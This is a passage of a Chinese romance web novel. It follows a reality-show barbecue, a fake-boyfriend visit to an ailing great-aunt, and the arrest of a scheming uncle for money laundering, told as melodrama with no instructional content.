【所以,季宁深怎么知道得这么清楚?他真的好关注江姐姐啊……】 黄芷禾张了张嘴,却发现自己一个字也反驳不出来。 季宁深说的每一个字都是事实,是她内心深处不愿承认、一直试图用“出身论”来掩盖的事实。 如今被当众血淋淋地揭开,她所有的不甘和怨愤都变成了无处遁形的狼狈。 黄芷禾无法再把自己的失败归因到别人的身上,只能狼狈地攥着解约合同,离开了这里。 江砚舟站在一旁,将刚才的一幕尽收眼底。 他看着季宁深三言两语就把黄芷禾怼得哑口无言、落荒而逃,勉勉强强看对方顺眼了一点。 “啧……”江砚舟挠了挠头,向对方道歉的念头又略占了上风。 但由于面子上实在过不去,导致江砚舟时不时就偷偷瞄季宁深一眼,表情纠结得不行。 季宁深声音平淡地说了句:“卫生间现在没人。” 江砚舟一脸懵逼:“……啊??” 季宁深瞥了他一眼:“你那一脸痛苦挣扎的表情,不是便秘吗?” 江砚舟:“……” 你才便秘! 不过既然都说到这儿了,他像是生怕自己反悔似的,飞快地对季宁深道:“对不起昨天踩坏你相册!” 虽然语速快得像机关枪,声音也不算大,但足够近处的季宁深听清了。 季宁深显然有些意外,眉毛轻轻往上一挑。 江砚舟被他这一眼看得浑身不自在,耳朵尖都漫上了一点可疑的红色。 他立刻粗声粗气地打断对方可能开口的回应:“不是说要准备烧烤吗?都几点了食材还没弄呢,赶紧的赶紧的!” 说完,他就开始了假装忙碌的翻找。 大家也跟着响应,纷纷过来帮忙搬东西。 烧烤架和炭火很快准备就绪,各种肉类、蔬菜也摆满了长桌。 江砚舟刚和姐姐冰释前嫌,正是情绪高涨、急于表现的时候。 他挽起袖子,信心满满地占据了一个烧烤位,准备大显身手,给姐姐烤点好吃的。 然而,他刚拿起两串鸡翅,那个碍眼的林屿川就凑到了江知雾旁边:“知雾姐姐,我经常和朋友出去露营,烧烤很拿手的。你想吃什么?我来帮你烤。” 江砚舟的脸瞬间就黑了,手里的烧烤签子捏得咔咔响:“用不着你!我姐想吃啥我自然会烤!” 差点忘了,除了季宁深,还有个林屿川对他姐虎视眈眈呢! 眼看二人火药味渐浓,宿姚默默走到了餐桌旁,拿起一个橘子,安安静静地开始剥。 先细致地将橘瓣上的白色经络都清理得干干净净,然后整整齐齐地码放在一个小碟子里,悄悄推到了江知雾手边不远的地方。 江知雾一愣,然后朝他弯起眼睛:“谢谢。” 弹幕各个兴奋到苍蝇搓手: 【另辟蹊径啊宿姚,烧烤竞争太激烈,我们走贴心路线!】 【林屿川也挺会的,上来就展示技能点,可惜撞上咱们的姐控弟弟了。】 【来来来,给修罗场中的各位实时计分!林屿川,烧烤技能展示明确,但遭遇强力阻击,得分70;宿姚,默默付出,贴心暖男,得分80;江砚舟刚才帮姐姐喝苦瓜汁,大幅加分,目前暂居第一,得分85。】 【等等,这修罗场中是不是少了谁?】 【对啊,季宁深这次怎么不争不抢了?有古怪……】 就在弹幕纷纷疑惑季宁深为何如此安静,季念念好奇地问了一句: “舅舅,你在做什么呀?” 这一问,将众人的目光都吸引了过去。 镜头随之转向季宁深。 只见季宁深独自坐在一张小凳子上,面前放着一个料理盘,手里正拿着小刀和几根肥厚的杏鲍菇,低头专注地雕刻着什么。 听到外甥女的疑问,他卖了个关子:“马上就好了。” 这时,镜头适时推近,给了他的手部一个特写。 直播间的观众们清晰地看到,他修长的手指正灵活地运刀,在那乳白色的杏鲍菇表面刻划。 刀尖游走,碎屑轻落,不过片刻功夫,一尾活灵活现的小鱼便在他指尖成型,精致得宛如艺术品。 “哇!”季念念第一个发出惊叹。 季宁深神态平静,将雕好小鱼的杏鲍菇放在一旁的干净盘子里,又拿起一个新的,手腕转动间,这次出现的是一朵层次分明的玫瑰,线条优美,栩栩如生。 江知雾觉得有趣,就干脆坐在季宁深不远处的位置,饶有兴味地看着他继续雕刻。 看着江知雾的注意力完全被季宁深吸引,旁边正在奋力烧烤的两位大少爷动作同时僵住。 江砚舟和林屿川对视一眼,都在对方眼中看到了同样的憋闷和无语。 江砚舟磨了磨后槽牙,用只有两人能听到的音量从牙缝里挤出两个字:“……心机吊!” 林屿川深以为然地点点头,同样低声回应:“……死绿茶!” 第73章 季宁深一手出神入化的雕刻技术,让直播间的网友们直呼好家伙。 【别人在比拼烤串技术,季大佬已经在搞食品雕刻艺术了?】 【这招真是……降维打击啊!谁会拒绝一朵可以吃的杏鲍菇玫瑰呢!】 【啧啧,我有十足的理由怀疑季宁深雕刻玫瑰花是在夹带私货。】 …… 夕阳西下,最后一抹余晖染红天际时,本期《推开家门是你》的录制也正式宣告结束。 工作人员开始收拾设备,嘉宾们互相道别,氛围里夹杂着录制结束的轻松和短暂分别的不舍。 季念念抱着江知雾的腿,仰着小脑袋:“江姐姐,念念回家之后也会想你的!” 李柏和李乐乐紧随其上,不舍地招手:“江姐姐下次见。” 宿姚话不多,只是轻轻点了点头:“江姐姐,再见。” 一声声“姐姐”此起彼伏,听得一旁的江砚舟额头青筋直跳。 他推开企图向江知雾讨一个离别拥抱的林屿川,脸上挤出一个近乎狰狞的“友善”笑容,心里疯狂腹诽: 再见再见!最好别再见了! 一个个的,叫那么亲热干嘛! 回程的车上,江砚舟还在那儿哼哼唧唧,表达对那群“居心叵测”之人的不满。 江知雾懒得理他幼稚的醋劲,靠着车窗闭目养神。 到家后,稍作休整,江知雾照例给在疗养院休养的江老太太打了个电话。 电话里,老太太依旧絮絮叨叨地关心着姐弟俩的生活,叮嘱他们注意身体,好好吃饭。 但江知雾却微微蹙起了眉。 她敏锐地捕捉到,老太太说话时的气息比往常要短促一些,中间似乎刻意停顿了几次,像是在调整呼吸,掩饰某种不适。 “姑祖母,”江知雾突然道,“这期拍摄刚好结束了,我和砚舟明天过去看看您。” “哎呀,不用不用!”江老太太立刻拒绝,“我这儿好着呢,有医生护士看着。你们工作辛苦,好好在家休息,别来回跑了。” “姑祖母,”江知雾的声音柔和却带着不容置疑的坚定,“我们想您了,您要是不让我们去,我们才真的休息不好。” 电话那头沉默了几秒,传来一声无奈的叹息:“……行吧,非要过来的话,把你男朋友顺便也带来给我见见。” 江知雾:“……啊?” 她愣了一秒,才猛然想起上回季宁深被老太太误会成了自己男朋友的事。 她本以为这事儿过去了,没想到老太太不仅记得,还惦记上了“见家长”这环节。 这下可怎么收场? 如果季宁深对她没有那份特殊的心思,她大可以坦然地以朋友的身份,请他帮这个忙,演完这场戏,事后好好感谢便是。 可偏偏,她刚知道季宁深喜欢自己很多年了。 在这种前提下,还要让对方以“假男友”的身份来配合自己见长辈,这无异于一种利用和轻慢。 江老太太捕捉到了她短暂的迟疑:“是不方便吗?” 听着姑祖母语气里那点殷切的期盼,江知雾实在不忍心立刻戳破这个谎言,让她失望。 她只能硬着头皮,含糊地应道:“我……我先问问他有没有空。” 挂了电话,江知雾看着暗下去的手机屏幕,长长地舒了一口气。 她点开与季宁深的聊天界面,指尖在屏幕上悬停了许久,删删改改,不知道该如何开这个口。 她斟酌了又斟酌,才极其谨慎地敲下一行字: 【宁深,很抱歉打扰你。还记得上次让你假扮我男朋友的事情吗?我姑祖母希望明天能见见你,不知道你方不方便?】 打完这行字,她越看越觉得冒昧又尴尬,迅速撤回了消息。 算了算了,还是明天随便编个理由,说季宁深临时有工作来不了吧。虽然会让姑祖 母有点失望,但总比这样为难别人也为难自己好。 就在她打定主意准备搪塞过去时,手机屏幕亮了。 季宁深:【我看到了。方便。】 季宁深:【明天几点?在哪里碰面?】 他答应得很干脆。 江知雾看着那简短的回复,心里一时五味杂陈,既有松了口气的轻松,又添了几分难以言喻的感动。 江知雾:【……谢谢你。明天上午十点,在南山疗养院门口见吧?麻烦你了。】 季宁深:【好。明天见。】 第二天上午九点,江知雾和江砚舟抵达南山疗养院门口。 远远地,就看到一个熟悉的身影已经等在那里。 季宁深今天穿了一身剪裁得体的浅灰色休闲西装,更显身形挺拔,气质清隽。他手里还提着一大箱看起来颇为昂贵的补品。 江砚舟眼睛瞬间瞪圆了,脱口而出:“季宁深?怎么又是你?!” 他想说“阴魂不散了还”,但话到嘴边,想起昨天姐姐才教育过他要懂得尊重人,硬生生把后半句不太客气的话给咽了回去,只是表情依旧写满了不爽。 江知雾解释:“是我请他来的。” 江砚舟一听,眼睛瞪得更圆了,刚要嚷嚷,被江知雾一个眼神制止。 去往病房的路上,江知雾言简意赅地对江砚舟解释了姑祖母的误会,以及请季宁深来帮忙的缘由。 “……事情就是这样,所以这次要麻烦宁深再帮我们一次。”她说着,转向季宁深,语气真诚,“真的非常感谢你,宁深,又给你添麻烦了。” 季宁深微微颔首:“举手之劳,不用客气。” 江砚舟听完,虽然还是觉得这事儿有点别扭,尤其是看到季宁深那一本正经、仿佛真要去见家长的样子,但想到是为了姑祖母,也只好把那股莫名的不爽压下去,别扭地对季宁深说了句:“……谢了。” 去往病房的路上,果然又遇到了几个定时定点打卡的旁支小辈。 他们上回已经领教过了江知雾的厉害,乍然一看到她的身影,立刻像老鼠见了猫一样,眼神闪烁,纷纷低下头不敢与她对视,生怕又被喊去跑腿。 江知雾乐得清静,径直走向病房。 刚到门口,便听到里面传来隐约的谈话声。 她脚步一顿,秀眉微蹙,看向门口的保镖:“里面还有人?” 保镖恭敬地回答:“是的,大小姐,江明启先生和黄淑兰太太正在里面陪老太太聊天。” 江明启? 他最近不是应该为了总部调查极维汽车财务问题的事情焦头烂额吗?怎么还有闲心往疗养院跑? 江知雾的眉头瞬间皱得更紧:“他们最近经常来吗?” 保镖回忆了一会儿:“差不多每天都会过来。” 江明启向来无利不起早,尤其是在这个节骨眼上,他如此殷勤地来陪伴老太太,难保不是又把什么主意打到了姑祖母身上。 更让江知雾奇怪的是,姑祖母向来对江明启夫妇态度疏离,不知道这次怎么突然又肯放他们进去了。 她压下心中的疑虑,推开了病房门。 屋内,江明启和他的太太黄淑兰正坐在床边的沙发上,陪着江老太太说话。 见江知雾三人进来,江明启立刻站起身,脸上堆起惯有的、略显公式化的笑容。 “知雾和砚舟也来了啊。”他的目光扫过姐弟二人,最后在季宁深身上停留了一瞬,“姑母,那您好好休息,我们就不打扰您和孩子们说话了。” 黄淑兰也连忙起身,跟着附和,态度带着点小心翼翼的讨好。 江老太太靠在床头,神色有些淡淡的疲倦,只是微微点了点头,没多说什么。 江明启夫妇告辞,路过江知雾和江砚舟时,江明启还微笑着冲他们点头,仿佛之前所有的龃龉都不存在。 江知雾和江砚舟都冷着脸,没搭理他。季宁深则更是目不斜视。 三人径直走向病床。 “姑祖母。”江知雾和江砚舟齐声叫道。 “……姑祖母。”季宁深也跟着唤了一句。 江老太太看到他们,脸上的倦容才消散些许,露出真切的笑意:“哎,来啦。” 她的目光随即落在季宁深身上,眼神立刻变得不一样了,“这位就是……?” “姑祖母,这就是季宁深。”江知雾介绍。 季宁深上前一步,将手中的礼品轻轻放在一旁,不卑不亢地微微躬身:“姑祖母好,我是季宁深。一点心意,希望您早日康复。” 他的声音清朗沉稳,举止得体,瞬间就赢得了江老太太更多的好感。 “哎呀,人来就好,还带什么东西,太破费了。”江老太太笑得更慈祥了,连忙招呼,“快,都别站着,坐下说话。” 江知雾依言坐在了病床旁的椅子上,季宁深紧跟着坐到她身旁。 慢了一步的江砚舟偷偷“嘁”了一声,绕到病床另一侧的椅子坐下了。 江老太太的目光几乎就没从季宁深身上移开过,越看越是满意:“好,好孩子,长得真精神。平时多亏你照顾我们知雾了。” “您客气了,这是应该的。”季宁深应对得十分妥帖。 江知雾一边听着姑祖母和季宁深的对话,一边仔细观察着姑祖母的气色。 虽然老太太此刻因为心情好,精神看起来还不错,但江知雾还是敏锐地注意到,她的嘴唇颜色比往常要淡一些,说话间偶尔会有一个极其轻微的、平顺呼吸的小动作。 这让她心中的担忧更甚。 趁着姑祖母和季宁深说话的间隙,江知雾状似无意地提起:“姑祖母,刚才我们进来,看到二叔他们也在?他们最近来得挺勤快啊。” 江老太太闻言,脸上的笑容多了些意味深长:“嗯,是来得多了些。说是关心我身体,陪我解解闷。” 江砚舟没想那么多,直接撇了撇嘴:“黄鼠狼给鸡拜年。” 江老太太被逗笑了,伸手虚点了点江砚舟,眼神里却掠过一丝精明的光。她慢悠悠道:“傻小子,这世上啊,有时候,谁是黄鼠狼,谁是鸡,还真说不准呢。” 这话听着像是随口一句调侃,但江知雾心头却微微一动。 她侧头看向姑祖母,隐约感觉到老人似乎在筹划着什么。 然而,不等她细想,江老太太忽然伸出那双布满皱纹却依旧温暖的手,一手握住了她的手,另一只手则颤巍巍地伸向了季宁深。 季宁深微微一愣,随即顺从地伸出自己的手,让老人将他和江知雾的手叠放在一起。 江老太太的手轻轻覆盖在他们交叠的手背上,力道不大,却带着一种沉甸甸的托付感。 她看着他们,眼神里充满了慈爱: “宁深啊,我这把老骨头,自己清楚,日子怕是也快到头了……” “姑祖母!”江知雾心头一紧,下意识想打断这听着不祥的话。 江老太太却轻轻拍了拍她的手背,示意她听自己说完。 “我这辈子,没什么太大的牵挂,最放不下的就是知雾和砚舟这两个孩子。砚舟还小,性子躁,但 知雾稳重,有主见,我一直很放心。现在看到你,宁深,姑祖母就更放心了。” 她目光殷切地望着季宁深:“以后你们两个,要互相扶持,好好儿过,知道吗?” 在江老太太殷切的目光下,季宁深没有任何迟疑,修长的手指收拢,将江知雾微凉的手完全包裹住,力道坚定而温柔。 “姑祖母,您放心。”他说,“我会尽我所能,照顾好知雾。只要她需要,我永远都在。” 江老太太仔细看着他的眼睛,那里面没有丝毫敷衍和虚假,只有一片真诚的赤忱。 她脸上的皱纹舒展开,露出了一个真正安心而欣慰的笑容,连连点头:“好,好,有你这句话,我就放心了。” 江老太太的话有点临终叮嘱的味道,病房内的气氛也不免染上了一丝沉重。 季宁深敏锐地瞥见江知雾眼底那抹挥之不去的忧虑,他心念微动,话锋一转: “不过姑祖母,您这话可说得太早了。您得赶紧好起来,再多管管知雾才行。” 江老太太挑眉:“哦?” 季宁深煞有介事地说:“您不知道,她忙起工作来六亲不认,我可管不住她。到时候还得靠您发话,让她按时吃饭,准时休息。” 他三言两语就把江老太太给逗乐了:“知雾,听见没?以后可不许再那么拼命工作了,现在可是有人给我通风报信哦。” 江知雾原本还沉浸在姑祖母身体抱恙的酸涩情绪中,被季宁深这突如其来的插科打诨弄得一愣,随即看到姑祖母开怀的笑容,心头那点阴霾也不由得散去了大半。 不知不觉间,她一直微蹙的眉头舒展开,一抹笑意爬上了嘴角:“好。” 季宁深的手掌很宽大,完全将她的手包裹在内,指节分明,掌心干燥而温暖。 那温度源源不断地传递过来,让她冰凉的手指也一点点染上了他的体温,暖了起来。 第74章 三人一直陪着江老太太聊天,季宁深和江砚舟少有的团结,一唱一和把老人家逗得开怀大笑。 直到窗外天色渐晚,江老太太才露出些许疲态,催促他们:“好了好了,陪了我这老婆子一整天了,你们年轻人还有自己的事,快回去休息吧。” 江知雾细心地将姑祖母身后的枕头调整好,让她靠得更舒服些,又帮她掖了掖被角,这才起身。 出门前,江知雾特意对值守在病房外的保镖叮嘱了一番,让他们务必加强看顾,无论是谁送进来的东西,都必须仔细检查过目。 她压低声音补充道:“尤其是江明启夫妇送来的。” 保镖神色一凛,恭敬应下:“明白,大小姐放心。” 交代完毕,三人才一同离开疗养区,走向停车场。 江知雾心里记挂着姑祖母的身体和江明启反常的举动,一路都有些沉默。 走着走着,身旁的季宁深脚步忽然一顿,手伸进了西装外套的内袋,摸出了一个厚实的红包。 “知雾,”他停下脚步,将红包递向江知雾,“这个好像是姑祖母刚才悄悄塞进我口袋的。” 江知雾摇摇头:“既然是姑祖母给你的,算是她老人家的一番心意,你就收下吧。” 季宁深听话地应了一声:“好。” 然后将红包仔细地收回了口袋。 就在这时,跟在两人身后半步的江砚舟突然发出一阵惊天动地的猛咳:“咳咳咳!咳咳——!” 声音之大,成功吸引了前面两人的注意。 江知雾从思绪中被惊醒,莫名地回头看他:“你怎么了?呛风了?” 江砚舟撇着嘴,语气硬邦邦地提醒:“我说你们俩,到底打算牵到什么时候?” 经他这么一嚷,江知雾才恍然意识到她从竟然一直没松开季宁深的手。而季宁深也就这样一直安静地、稳稳地任由她握着。 掌心传来的温热触感此刻变得无比清晰,甚至能感受到对方平稳的脉搏。 江知雾赶紧将自己的手抽了回来。 “抱歉,”她微微侧过脸,掩饰着瞬间的不自然,“我刚才没注意到。” 季宁深平静地说:“没关系。” 江砚舟重重地“哼”了一声,双手插兜,别过脸去,用后脑勺表达着自己的不满。 江知雾清了清嗓子,提议道:“时间不早了,我们先找个地方吃晚饭吧?” 这个提议得到了默认。三人便在附近找了一家环境清雅的餐厅用了晚餐。 饭后,季宁深很自然地表示开车送他们回去。 坐在副驾驶座上,看着季宁深专注开车的侧脸,江知雾想起他今天不仅配合自己,在姑祖母面前演了一天的戏,现在还要充当司机,心里越发过意不去。 车子平稳地驶入别墅区,快到家门口时,江知雾看了眼已经完全暗下来的天色,索性开口邀请道:“宁深,今天辛苦你了。时间这么晚,开车回去也挺累的,要不你今晚就住下吧?反正家里空房间很多。” 正在解安全带的江砚舟动作一顿,猛地扭头瞪向江知雾,似乎想反对。 但他看了看窗外漆黑的天,那句“让他回自己家去”的话到底还是没能说出口。 他烦躁地抓了抓头发,最终只是恶声恶气地丢下一句:“我累了,先上去了!”便快步冲进了屋里,摆明了眼不见为净。 “小屁孩。”江知雾摇头。 进屋后,她唤来管家,简单交代了一句有客人留宿。管家训练有素,立刻应声,马上安排佣人去准备客房。 江砚舟早已不见踪影,想必是躲回自己房间生闷气去了。 江知雾只好亲自领着季宁深去二楼的客房。 “这边请,”她推开一扇房门,“这间客房平时都有人打扫,很干净。浴室在这边。” 她边走边介绍,“沐浴露和洗发水在架子上,都是新的。这个淋浴龙头往左是热水,往右是冷水……” 她一边说,一边下意识地往里走了两步,想指给他看具体的开关。 但江知雾一个没留神,脚下不小心踩到了光滑瓷砖上未干的一小片水渍,整个人瞬间失去平衡,低呼一声向后倒去! “小心!” 季宁深脸色骤变,反应极快,长臂一伸,猛地揽住她的腰,用力一带,将她稳稳地圈进了自己怀里。 江知雾惊魂未定,手下意识地紧紧抓住了他坚实的小臂,靠着他胸膛急促地喘了几口气,才站稳身形。 “知雾,没事吧?”头顶传来季宁深带着紧张的询问。 “没、没事。”江知雾发觉这个动作活像是他们俩搂抱到了一起,连忙松开抓着他手臂的手,微微后退半步。 季宁深也松开了环在她腰间的手,别开视线:“……地上有点滑,注意安全。” 江知雾轻咳一声,继续刚才被打断的话:“嗯,干净的衣服放在那边的衣柜里,都是新的,可以直接穿。你早点休息,晚安。” “好,”季宁深低声道,“晚安。” * 这一晚两个人都没睡好。 翌日清晨,天光微亮。 江知雾已经坐在了客厅的沙发上,膝上放着笔记本电脑,纤细的手指在键盘上快速敲击,处理着助理发来的事宜。 楼梯传来轻微的脚步声。 江知雾闻声抬眼,看到季宁深从楼上下来。他似乎刚睡醒,几缕碎发垂下,身上的家居服给他添上了几分疏懒的气质。 “早。”江知雾手上动作未停,朝他打了个招呼。 “早。”季宁深微微颔首。 他注意到佣人正端着准备好的早餐站在厨房门口,看着正在工作的江知雾,脸上露出几分犹豫,似乎在斟酌是否要上前打扰。 季宁深见状,轻声对佣人说:“我来吧。” 他没有靠得太近,而是选择了一个恰当的距离,弯腰将餐盘轻轻放在沙发旁的边几上——那是江知雾伸手可及,但又绝不会意外碰到或打翻的位置。 整个过程他动作轻缓,目光也刻意避开了江知雾 的电脑屏幕,避免窥探任何可能涉及商业机密的内容。 然而,江知雾似乎并未对他设防。 在他起身的时候,她甚至将电脑屏幕稍稍向他那边偏转了一点,以便空出更多桌面空间。 这个无心的举动,让屏幕上的内容不可避免地落入了季宁深的余光范围。 虽然只有一眼,但季宁深还是迅速捕捉到了一些关键字眼: “内部审计”、“异常资金流向”、“关联交易”。 结合前段时间极维汽车的回收计划,季宁深心中了然。她应该是在处理极维汽车的调查结果,准备对江明启发动更彻底的清算。 季宁深自己也派人调查过江明启。 凭借季家的人脉和资源,他查到的东西比江知雾目前掌握的或许更深一些。 他几乎可以断定,江宏远夫妇当年的车祸绝非意外,百分百是江明启在刹车上做了手脚。 可问题就在于,江明启在处理这种涉及人命的关键罪行时,极其小心谨慎,事情又过去了这么多年,直接证据早已被销毁。 仅凭一些旁敲侧击的线索和推断,根本无法将他绳之以法。 目前江知雾掌握的,关于极维汽车偷工减料、财务造假的证据,固然能让江明启焦头烂额,损失惨重,但远远不足以让他偿命。 可面对这种杀父杀母之仇,江知雾看起来却并不着急,甚至有种超乎寻常的冷静。 季宁深能感觉到,她好像在等待着什么。 他目光从屏幕上一掠而过,却什么也没问,只温声提醒了一句:“早餐趁热吃。” 江知雾“嗯”了一声,视线依旧落在屏幕上,手指飞快地敲下几个字,这才暂时停下工作,端起了旁边的牛奶杯。 季宁深则转身走向厨房旁边的开放式水吧,开始认真地研磨咖啡豆,准备给她煮咖啡。 不一会儿,江砚舟顶着一头乱糟糟的头发,睡眼惺忪地踩着拖鞋从楼上下来了。 他一边打着哈欠,一边揉着眼睛,含糊地嘟囔:“张妈,早上吃什么……” 话还没说完,他的脚步顿住了,视线在客厅里扫了一圈。 只见他姐江知雾端坐在沙发上,神情专注地盯着电脑屏幕,手指飞快在键盘上敲打。 而几步之外的水吧旁,季宁深侧对着这边,低头专注地给咖啡拉花。 这场景怎么看怎么诡异。 江砚舟朝他们瞟了一眼,又一眼,终于发现问题所在。 艹了,季宁深怎么看着跟他姐的贤内助似的?! * 与此同时,江明启的书房却笼罩着一股低气压。 “败家娘们!”江明启将一个包包狠狠摔在桌子上,脸色铁青地瞪着黄淑兰,“你知道极维汽车这事情,闹出的窟窿有多大吗?!我最近为了填补这些账面,头发都快掉光了,你倒好,一次性刷了几百万买个破包包!” 黄淑兰缩了缩脖子,小声辩解:“我……我也不知道会这样……” “你除了知道买这些没用的破烂,还知道什么!”江明启气得额头青筋暴起,“现在正是用钱的时候,江老太婆那边你没本事哄点钱出来,倒是有钱往自己身上堆!” 黄淑兰唯唯诺诺地道歉:“老公,我知道错了,我下次不敢了。” 她偷偷抬眼觑着丈夫暴怒的脸色,眼神闪烁地开口:“其实,要是真缺钱的话,我倒是有个门路……” 江明启的神情很是不屑:“你?你能有什么门路?” “昨天打牌的时候,我听王太太说,她丈夫最近在搞一个项目,好像是跟什么海外投资有关,听说来钱特别快……要不我们也试试?” “哦?” 江明启简单问了两句,就没好气地打断她:“你懂个屁!那玩意儿能随便碰吗?被抓到是要把牢底坐穿的!” 黄淑兰被骂得浑身一颤,但破天荒地没有立刻道歉,反而低声嘀咕了一句:“可是……我看王太太他们家搞得风生水起,换车换房,风光得很,也没见出什么事啊,不被抓到证据就行。” 江明启死死盯着黄淑兰,眼神变幻莫测。 沉默了半晌,他烦躁地挥挥手:“行了行了,妇人之见!这事不准再提!滚出去!” 黄淑兰如蒙大赦,连忙低着头,快步退出了书房。 一离开江明启的视线,黄淑兰脸上那副怯懦的表情瞬间褪去,取而代之的是一种更深的不安。 她背靠着冰凉的墙壁,掏出手机。 屏幕解锁,一条匿名短信赫然显示在屏幕上,附着她和江明启的助理张晟有染的种种证据。 黄淑兰飞快地打字:【我已经按照你说的,跟我老公提了那个投资的事情了。现在可以放过我了吗?】 几乎在她信息发送成功的瞬间,对方的回复就来了:【你的任务还没完成。】 黄淑兰忐忑地问:【你还要我怎么做?!】 对方言简意赅地说: 【等。】 【等江明启主动找你。】 而书房内,江明启焦躁地原地踱步。 黄淑兰提过的那个“来钱特别快”的门路,不受控制地一次次闪现在他的脑海。 “是啊,”他猛地停住脚步,眼底布满血丝,喃喃自语,“管他什么非法不非法的,不被抓到证据不就行了吗?” 这个念头一旦清晰起来,就如同魔咒般攫住了他全部心神。 他现在资金链紧绷,常规手段筹钱太慢,为什么不铤而走险试试呢? 不知道为什么,江明启突然就想起了多年前那场精心策划的“意外”。 江宏远夫妇连人带车坠入山崖,他不仅安然无恙,还成功接手了集团。 既然当年杀人都没留下把柄,现在不过是搞点“投资”,只要足够小心,也未必会出事。 侥幸心理和欲望最终冲垮了最后一丝犹豫。 他猛地停下脚步,拉开了书房的门。 “淑兰。”他叫住还没离开的妻子,哑声问,“你有办法帮我搭上那条门路吗?” 他曾经在黄芷禾因为当小三身败名裂时,冷漠地斥责她“短视”、“贪婪”、“尽走歪路”,可如今,江明启却同样经不起诱惑,亲手打开了危险的潘多拉魔盒。 第75章 一个月后,江氏总部大楼下。 江砚舟臭着一张脸,斜眼瞪着正为江知雾拉开车门的季宁深。 他今天难得没有行程,是硬从经纪人章文时那里抠出来的一天假期,本想全程陪姐姐上班,结果一大早的好心情,全被这个姓季的家伙给破坏了。 “我说,季总你们公司是没人了吗?一个普通的业务对接,需要您这位日理万机的继承人,亲自开车来接送我姐?”江砚舟忍不住酸溜溜地说,“不知道的,还以为您改行当专职司机了呢。” 季宁深瞥了他一眼,语气平淡无波:“正好顺路。而且,与江氏集团的这个合作项目,目前由我亲自跟进,确保万无一失是我的责任。” “呵,季总这路顺得可真是九曲十八弯。” 江砚舟呛完了这个,又把矛头转向另一个,语气又气又无奈,“还有你,江知雾!你都跟我保证过要好好吃饭,结果一忙起来连早餐都打算省了?好歹吃点东西垫垫吧?” 江知雾难得有点心虚:“今 天会有大事发生,我得赶时间……” “借口!”江砚舟没好气地说,“等着,我去那边摊子给你买个手抓饼,先填饱肚子再说。” 说罢,他快步朝马路对面的小摊走去。 季宁深和江知雾一同站在车边等候。清晨的阳光带着一丝凉意,江知雾下意识地拢了拢外套。 突然,一阵嚣张的引擎声由远及近,一辆崭新耀眼的限量版豪车精准地停在了不远处的专属车位上。 车门打开,江明启精神焕发地走了下来。 他穿着一身价值不菲的定制西装,头发梳得一丝不苟,脸上泛着红光,走路带风,与之前阴鸷焦躁的模样判若两人。 他一眼就看到了站在路边的江知雾和季宁深,主动走了过来。 “知雾,来得这么早啊?”江明启眯着眼睛说。 江知雾转过身,脸上一扫往日的冷若冰霜,竟然也浮现出一抹浅淡的微笑:“二叔早。有些工作需要早点过来处理。” 江明启叹了口气,用一种推心置腹的口吻说道:“知雾啊,不是叔叔说你。工作嘛,是永远做不完的,你看你,事事亲力亲为,抓得这么紧,脸色都累得不太好了。” 他话锋一转,意有所指地拍了拍自己的胸膛,“有些业务,完全可以交给像叔叔这样熟悉情况的老骨头来分担嘛。你还年轻,要是因为太拼,万一哪天不小心嘎嘣一下猝死了,多不值当啊。” 话语里的恶意几乎不加掩饰。 季宁深眉头微蹙,冷漠地剜了他一眼。 江知雾脸上的笑容丝毫未减,反而更深了些,从容应对:“谢谢叔叔关心,我会注意的。不过您看起来倒是气色很好,看来最近诸事顺遂?” 江明启哈哈一笑,意有所指:“哪里哪里,不过是人逢喜事精神爽嘛。” 不远处的江砚舟刚买完手抓饼。 他举着那个被老板卷得歪七扭八、生菜叶子都支棱出来的物体,一脸嫌弃地小跑回来:“姐!你看这老板什么手艺,这饼卷得跟被炮轰过似的……” 他刚走近,就看到了站在他姐对面的江明启。 江砚舟脸色立刻沉了下来,一个箭步挡在江知雾身前,警惕地盯着对方:“这老东西怎么在这儿?他又来找你麻烦?” 江明启被他一句“老东西”给噎了个半死:“我是来开股东大会的,倒是你小子,不去跑通告,来公司干什么?” “我姐的公司,我爱来就来……”江砚舟话还没有说完,突然目瞪口呆地盯着江明启背后。 只见刚才还在小摊前吭哧吭哧埋头煎鸡柳的手抓饼老板,猛地丢下锅铲,以一个与他体型完全不符的敏捷身手,如同猎豹般从摊位后飞跃而出! 与此同时,附近几个看似普通的路人,配合默契地从不同方向合围,直接把江明启给死死摁到了地上。 江砚舟看着手中造型别致的手抓饼,再看看身手矫健、宛如在拍动作大片的老板,整个人都懵掉了。 直到那名“手抓饼老板”利落地掏出一个证件,用洪亮的声音道:“警察!别动!” 他这才猛地倒吸一口凉气,反应过来—— 靠,难怪这手抓饼造型千奇百怪,原来老板是便衣警察伪装的! 而同时,季宁深也想通了某个关窍,立刻扭头去看江知雾。 只见对方神情冷淡,眉眼间是洞悉一切的沉静。 这就是她要大早上赶着来看的大事吗? “警察又怎么样,你们凭什么抓我!”被死死按在地上的江明启终于从最初的震惊中回过神,嘶声大吼,“快点放开我!我犯什么法了?” 便衣冷冷地说:“江明启,你涉嫌洗钱等多项严重经济犯罪,现在依法对你进行逮捕!” 江明启被死死按在地上,在经过最初的慌乱后,迅速冷静了下来:“你们警察抓人也得有证据吧?!空口白牙就说我洗钱,我要告你们诽谤!” 为首的便衣闻言,冷笑一声:“我们既然敢来,自然是掌握了确凿的证据。” “实话告诉你,就在前两天,我们收到一份详尽的举报邮件,里面有你利用女儿黄芷禾明星身份,进行非法资金转移的完整证据链。” “谁?是谁举报的我?!”江明启又惊又怒,脱口而出。 便衣警察慢条斯理地回答:“我们也很好奇这位热心市民是谁。收到举报后,我们第一时间核实证据的真伪,顺便了解了举报者的身份。” 他刻意停顿了一下,看着江明启瞬间紧绷的脸色,才缓缓说道:“你说有意思不?那封把你老底都掀了的举报信,竟然是从你家发出来的。” “什么?!我家?!”江明启如遭雷击,整个人都僵住了。 他脑中飞快地闪过几个人名。 是黄淑兰吗?不可能,这个蠢女人只知道花钱和打牌,借她十个胆子也不敢做出举报的事情; 黄芷禾现在全靠他养活,更不可能自断财路。 一连排除了两个人选,一个名字突然跃进了他的脑海。 ——江汀。 想到那个沉默寡言、甚至能称得上对他言听计从的儿子,江明启只觉得一股血气直冲头顶:“好,好极了,真是会咬人的狗不叫啊!” 他被压制在地上的身躯剧烈扭动,不顾形象地破口大骂:“这个不孝子,吃里扒外的畜牲!他以为举报老子洗钱就能把我彻底扳倒吗?天真!这点罪名,顶多让老子进去蹲个十几年就出来了!等他老子我出来,看我不弄死他……” “老实点!”压着他的便衣加重了力道,厉声呵斥。 另一位便衣则嗤笑道:“江明启,谁告诉你,你只是关个十几年就能出来的?” 江明启的骂声戛然而止,愕然地看着他。 